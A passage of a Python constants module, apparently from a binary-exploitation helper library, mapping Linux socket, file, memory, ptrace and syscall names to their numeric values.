Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0o003)\nO_RDONLY = Constant('O_RDONLY',0o0)\nO_WRONLY = Constant('O_WRONLY',0o1)\nO_RDWR = Constant('O_RDWR',0o2)\nO_CREAT = Constant('O_CREAT',0o100)\nO_EXCL = Constant('O_EXCL',0o200)\nO_NOCTTY = Constant('O_NOCTTY',0o400)\nO_TRUNC = Constant('O_TRUNC',0o1000)\nO_APPEND = Constant('O_APPEND',0o2000)\nO_NONBLOCK = Constant('O_NONBLOCK',0o4000)\nO_NDELAY = Constant('O_NDELAY',0o4000)\nO_DSYNC = Constant('O_DSYNC',0o10000)\nFASYNC = Constant('FASYNC',0o20000)\nO_DIRECT = Constant('O_DIRECT',0o40000)\nO_LARGEFILE = Constant('O_LARGEFILE',0o100000)\nO_DIRECTORY = Constant('O_DIRECTORY',0o200000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0o400000)\nO_NOATIME = Constant('O_NOATIME',0o1000000)\nO_CLOEXEC = Constant('O_CLOEXEC',0o2000000)\nO_SYNC = Constant('O_SYNC',(0o10000|0o4000000))\nO_PATH = Constant('O_PATH',0o10000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o20000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',5)\nF_SETLK = Constant('F_SETLK',6)\nF_SETLKW = Constant('F_SETLKW',7)\nF_SETOWN = Constant('F_SETOWN',8)\nF_GETOWN = Constant('F_GETOWN',9)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nF_GETLK64 = Constant('F_GETLK64',12)\nF_SETLK64 = Constant('F_SETLK64',13)\nF_SETLKW64 = Constant('F_SETLKW64',14)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',0)\nF_WRLCK = Constant('F_WRLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o200000))\nO_ASYNC = Constant('O_ASYNC',0o20000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x10)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x2000)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x4000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x8000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000)\nMAP_STACK = Constant('MAP_STACK',0x20000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x40000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_INVALIDATE = Constant('MS_INVALIDATE',2)\nMS_SYNC = Constant('MS_SYNC',4)\nMCL_CURRENT = Constant('MCL_CURRENT',1)\nMCL_FUTURE = Constant('MCL_FUTURE',2)\nMCL_ONFAULT = Constant('MCL_ONFAULT',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMAP_ANON = Constant('MAP_ANON',0x20)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nEBX = Constant('EBX',0)\nECX = Constant('ECX',1)\nEDX = Constant('EDX',2)\nESI = Constant('ESI',3)\nEDI = Constant('EDI',4)\nEBP = Constant('EBP',5)\nEAX = Constant('EAX',6)\nDS = Constant('DS',7)\nES = Constant('ES',8)\nFS = Constant('FS',9)\nGS = Constant('GS',10)\nORIG_EAX = Constant('ORIG_EAX',11)\nEIP = Constant('EIP',12)\nCS = Constant('CS',13)\nEFL = Constant('EFL',14)\nUESP = Constant('UESP',15)\nSS = Constant('SS',16)\nFRAME_SIZE = Constant('FRAME_SIZE',17)\nPTRACE_GETREGS = Constant('PTRACE_GETREGS',12)\nPTRACE_SETREGS = Constant('PTRACE_SETREGS',13)\nPTRACE_GETFPREGS = Constant('PTRACE_GETFPREGS',14)\nPTRACE_SETFPREGS = Constant('PTRACE_SETFPREGS',15)\nPTRACE_GETFPXREGS = Constant('PTRACE_GETFPXREGS',18)\nPTRACE_SETFPXREGS = Constant('PTRACE_SETFPXREGS',19)\nPTRACE_SETOPTIONS = Constant('PTRACE_SETOPTIONS',21)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nSYS_accept4 = Constant('SYS_accept4',364)\nSYS_access = Constant('SYS_access',33)\nSYS_acct = Constant('SYS_acct',51)\nSYS_add_key = Constant('SYS_add_key',286)\nSYS_adjtimex = Constant('SYS_adjtimex',124)\nSYS_afs_syscall = Constant('SYS_afs_syscall',137)\nSYS_alarm = Constant('SYS_alarm',27)\nSYS_bdflush = Constant('SYS_bdflush',134)\nSYS_bind = Constant('SYS_bind',361)\nSYS_bpf = Constant('SYS_bpf',357)\nSYS_break = Constant('SYS_break',17)\nSYS_brk = Constant('SYS_brk',45)\nSYS_capget = Constant('SYS_capget',184)\nSYS_capset = Constant('SYS_capset',185)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',182)\nSYS_chown32 = Constant('SYS_chown32',212)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',343)\nSYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',405)\nSYS_clock_getres = Constant('SYS_clock_getres',(259+7))\nSYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',406)\nSYS_clock_gettime = Constant('SYS_clock_gettime',(259+6))\nSYS_clock_gettime64 = Constant('SYS_clock_gettime64',403)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(259+8))\nSYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',407)\nSYS_clock_settime = Constant('SYS_clock_settime',(259+5))\nSYS_clock_settime64 = Constant('SYS_clock_settime64',404)\nSYS_clone = Constant('SYS_clone',120)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',6)\nSYS_connect = Constant('SYS_connect',362)\nSYS_copy_file_range = Constant('SYS_copy_file_range',377)\nSYS_creat = Constant('SYS_creat',8)\nSYS_create_module = Constant('SYS_create_module',127)\nSYS_delete_module = Constant('SYS_delete_module',129)\nSYS_dup = Constant('SYS_dup',41)\nSYS_dup2 = Constant('SYS_dup2',63)\nSYS_dup3 = Constant('SYS_dup3',330)\nSYS_epoll_create = Constant('SYS_epoll_create',254)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',329)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',255)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',319)\nSYS_epoll_wait = Constant('SYS_epoll_wait',256)\nSYS_eventfd = Constant('SYS_eventfd',323)\nSYS_eventfd2 = Constant('SYS_eventfd2',328)\nSYS_execve = Constant('SYS_execve',11)\nSYS_execveat = Constant('SYS_execveat',358)\nSYS_exit = Constant('SYS_exit',1)\nSYS_exit_group = Constant('SYS_exit_group',252)\nSYS_faccessat = Constant('SYS_faccessat',307)\nSYS_fadvise64 = Constant('SYS_fadvise64',250)\nSYS_fadvise64_64 = Constant('SYS_fadvise64_64',272)\nSYS_fallocate = Constant('SYS_fallocate',324)\nSYS_fanotify_init = Constant('SYS_fanotify_init',338)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',339)\nSYS_fchdir = Constant('SYS_fchdir',133)\nSYS_fchmod = Constant('SYS_fchmod',94)\nSYS_fchmodat = Constant('SYS_fchmodat',306)\nSYS_fchown = Constant('SYS_fchown',95)\nSYS_fchown32 = Constant('SYS_fchown32',207)\nSYS_fchownat = Constant('SYS_fchownat',298)\nSYS_fcntl = Constant('SYS_fcntl',55)\nSYS_fcntl64 = Constant('SYS_fcntl64',221)\nSYS_fdatasync = Constant('SYS_fdatasync',148)\nSYS_fgetxattr = Constant('SYS_fgetxattr',231)\nSYS_finit_module = Constant('SYS_finit_module',350)\nSYS_flistxattr = Constant('SYS_flistxattr',234)\nSYS_flock = Constant('SYS_flock',143)\nSYS_fork = Constant('SYS_fork',2)\nSYS_fremovexattr = Constant('SYS_fremovexattr',237)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',228)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',108)\nSYS_fstat64 = Constant('SYS_fstat64',197)\nSYS_fstatat64 = Constant('SYS_fstatat64',300)\nSYS_fstatfs = Constant('SYS_fstatfs',100)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',269)\nSYS_fsync = Constant('SYS_fsync',118)\nSYS_ftime = Constant('SYS_ftime',35)\nSYS_ftruncate = Constant('SYS_ftruncate',93)\nSYS_ftruncate64 = Constant('SYS_ftruncate64',194)\nSYS_futex = Constant('SYS_futex',240)\nSYS_futex_time64 = Constant('SYS_futex_time64',422)\nSYS_futimesat = Constant('SYS_futimesat',299)\nSYS_getcpu = Constant('SYS_getcpu',318)\nSYS_getcwd = Constant('SYS_getcwd',183)\nSYS_getdents = Constant('SYS_getdents',141)\nSYS_getdents64 = Constant('SYS_getdents64',220)\nSYS_getegid = Constant('SYS_getegid',50)\nSYS_getegid32 = Constant('SYS_getegid32',202)\nSYS_geteuid = Constant('SYS_geteuid',49)\nSYS_geteuid32 = Constant('SYS_geteuid32',201)\nSYS_getgid = Constant('SYS_getgid',47)\nSYS_getgid32 = Constant('SYS_getgid32',200)\nSYS_getgroups = 